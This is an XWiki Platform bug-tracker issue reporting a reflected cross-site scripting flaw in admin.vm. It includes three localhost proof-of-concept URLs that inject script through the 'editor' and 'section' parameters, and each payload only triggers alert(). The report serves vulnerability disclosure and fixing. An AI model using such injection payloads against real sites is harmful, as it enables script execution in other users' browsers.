Uploaded image for project: 'XWiki Platform'
  1. XWiki Platform
  2. XWIKI-5190

Reflected XSS in admin.vm

    XMLWordPrintable

Details

    • security, xss, patch
    • Integration
    • Trivial

    Description

      Multiple issues with different parameters, example:

      http://localhost:8080/xwiki/bin/admin/XWiki/AdminSheet?xpage=admin&editor=%22;alert%285%29;%2F%2F%3E%3Cscript%3Ealert%282%29%3C%2Fscript%3E
http://localhost:8080/xwiki/bin/view/Main/?xpage=admin&section=";alert(5);%2F%2F><script>alert(2)<%2Fscript>
http://localhost:8080/xwiki/bin/admin/XWiki/AdminSheet?section=%22;alert%285%29;%2F%2F%3E%3Cscript%3Ealert%282%29%3C%2Fscript%3E

      Attachments

        Activity

          People

            sdumitriu Sergiu Dumitriu
            nickless Alex Busenius
            Votes:
            0 Vote for this issue
            Watchers:
            1 Start watching this issue

            Dates

              Created:
              Updated:
              Resolved: